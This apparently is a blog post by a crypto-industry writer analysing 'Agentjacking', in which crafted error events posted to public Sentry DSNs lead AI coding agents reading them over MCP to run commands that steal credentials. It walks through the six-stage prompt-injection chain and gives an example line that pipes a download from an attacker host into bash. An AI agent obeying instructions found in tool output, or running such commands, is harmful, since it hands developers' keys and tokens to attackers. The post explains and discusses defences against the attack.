The floor didn't know it was a trap until the agent executed the npm install. That's the problem with trust. Trust in data flows. Trust in tool outputs. Trust in the architecture that lets an AI agent read a bug report and immediately run a command that drops a backdoor into your CI/CD pipeline. For crypto developers, the attack vector is not a smart contract bug. It's not a protocol exploit. It's the data your agent consumes. And the market is not pricing this risk correctly.
I've spent 21 years in the blockchain industry. I've audited DeFi protocols, structured delta-neutral hedges, and watched bears gut over-leveraged portfolios. But the attack disclosed at DEF CON 34 — Agentjacking via Public Sentry DSNs — is a new species of threat. It targets the developer machine. The same machine that holds your multisig keys, your AWS credentials, your GitHub tokens. The same machine that runs Claude Code or Cursor to write your next smart contract. The attack does not require a 0-day in the model. It does not require social engineering. It requires one HTTP POST to a public Sentry endpoint. That's it. The floor didn't just drop. It was silently liquidated.
Context: The Architecture of Trust
Let me break down the components. Sentry is a widely used error monitoring platform. It aggregates crash reports from applications. Its ingestion endpoint, the DSN (Data Source Name), is a public URL that accepts POST requests without authentication. That's by design — you want your app to send errors without needing to manage API keys. The DSN itself is not secret; it's embedded in client-side code. But the assumption has always been: "No one can do anything malicious with a public DSN except send fake errors." That assumption is dead.
Now introduce MCP (Model Context Protocol). Anthropic's MCP allows AI agents like Claude Code and Cursor to connect to external tools — databases, file systems, and yes, error monitoring platforms. When a developer asks the agent to "debug that Sentry issue," the agent queries Sentry via MCP, retrieves the error context, and uses that context to suggest a fix. The problem is that the context is not just data. It can contain instructions. Specifically, Markdown that the agent interprets as a command to run.
Tenet Security demonstrated this at DEF CON 34. They found 2,388 organizations with publicly discoverable Sentry DSNs. 71 of those appeared in the Tranco top 1 million websites. Approximately 27% of Fortune 1000 companies were exposed through Cloudflare's MCP integration. The chain is simple: attacker finds a public DSN -> POSTs a malicious error event to that DSN -> developer triggers agent to read the Sentry issue -> agent sees the Markdown and executes the embedded command -> npm install, pip install, or curl -> attacker gains credentials. AWS keys. GitHub OAuth tokens. npm tokens. Docker registry tokens. The full rainbow of developer credentials.
Core: The Technical Mechanics of the Attack
This is not a model-level vulnerability. It's a composition attack — the intersection of two legitimate design decisions. Sentry's unauthenticated ingestion is fine in isolation. MCP's data trust model is fine when the data source is a trusted database. But together, they create a gap wide enough to drive a credential theft cart through.
The attack has six stages, each mechanically sound:
- Discover a public DSN. Tenet scanned the internet. 2,388 organizations exposed. That's a lot of attack surface.
- POST a malicious error event. The attacker pre-loads the Sentry project with a crafted payload. The payload contains a Markdown code block that, when rendered by the agent, looks like a command to fix the error.
- Trigger the agent. The developer, either manually or via automation, asks the agent to "check the latest Sentry issue." No social engineering needed — the developer expects the agent to read Sentry.
- Agent parses the issue. The MCP server returns the issue content. The agent treats the Markdown as a legitimate instruction. It does not have a mechanism to distinguish between "data describing the error" and "instructions to fix it."
- Agent executes the command. The agent calls
execor a shell command. It runsnpm install malicious-packageorcurl http://attacker.com/steal | bash. - Credential exfiltration. The malicious package reads credentials from the environment. It sends them to the attacker. The developer's machine is now compromised.
Tenet claimed an 85% success rate in controlled tests across over 100 organizations. That number should scare you. Not because the attack is sophisticated, but because it is trivial to execute. The attacker does not need to maintain persistence. They do not need to exploit a buffer overflow. They just need one public DSN and one agent invocation.
The core insight is that current AI agent architectures cannot reliably distinguish between data and instructions. The model's trust in the tool output is too high. This is not a flaw that can be patched with a content filter — which is exactly what Sentry deployed. They added a global filter for specific payload strings. That's a band-aid. Any attacker with basic knowledge of string obfuscation can bypass it. The market is rewarding effort? No. The market rewards execution. And the execution here is cheap.
Contrarian: The Real Vulnerability is Not Sentry or MCP
Let me be contrarian. The security industry will tell you that Sentry needs to fix its DSN authentication. Or that MCP needs a trust layer. Or that developers should use agent-jackstop, the open-source tool Tenet released. I disagree with the framing. The real vulnerability is the semantic trust model of AI agents. The attack works because we built agents that assume all data is benign. That assumption is the root cause. And no amount of network whitelisting or command approval will fix it if the agent can still be tricked into running a command that looks like a fix but is actually a Trojan.
The market's attention is on the wrong metric. Everyone is counting exposed DSNs and talking about "credential theft." But the deeper issue is that the agent's reasoning pipeline is opaque. When an agent reads a bug report and decides to install a package, there is no audit trail that says "this decision was based on data that was externally modified after the last safe state." The agent has no concept of provenance. The attacker does not need to break the encryption. They need to break the trust.
Another contrarian point: the 85% success rate is a highlight reel. It comes from a controlled test where the developer was already expecting the agent to read Sentry. In the real world, the attack requires the developer to actively ask the agent about a Sentry issue. That's a significant attack precondition. But crypto developers are precisely the ones who use agents to debug production issues. They are the target demographic. The attack is not a mass-market phishing campaign; it's a precision strike against high-value targets.
And the mitigation? agent-jackstop adds network egress whitelist, command execution approval, and subprocess credential protection. That's good hygiene. But it does not address the root cause — the agent's inability to tag data sources as "potentially untrusted." The only real fix is to build instruction hierarchy into the model's training: the model must treat tool outputs as second-class data, never as first-class instructions. That is a fundamental research problem. No one has solved it in production.
Takeaway: The Next Attack Will Be Worse
This is not a bug. It's a feature of the current architecture. The attack vector is not limited to Sentry. Any public DSN for any tool that an agent can query — error logs, monitoring dashboards, ticketing systems — can be weaponized. The next attack will target the MCP server itself, not just the data. It will inject a malicious server that returns crafted responses to every agent query. The attacker will not need to wait for a developer to trigger the agent; they will pollute the data source and wait for daily automation.
For crypto developers, the stakes are higher. You are not just protecting a personal laptop. You are protecting the keys to a smart contract with millions of TVL. You are protecting the deployment pipeline that pushes new versions of a DeFi protocol. The market doesn't reward effort, it rewards execution. And the execution of this attack vector is cheap. The only alpha is in the execution vector — the attacker who deploys this at scale will harvest credentials faster than any phishing campaign.
The floor didn't know it was a trap. Now you know. The question is whether your agent will know the next time it reads a bug report.
Security is a negative value proposition. You don't profit from it; you just avoid losing everything. The agentjacking attack is a reminder that the cost of trust is not zero. It's the price of a single HTTP POST.
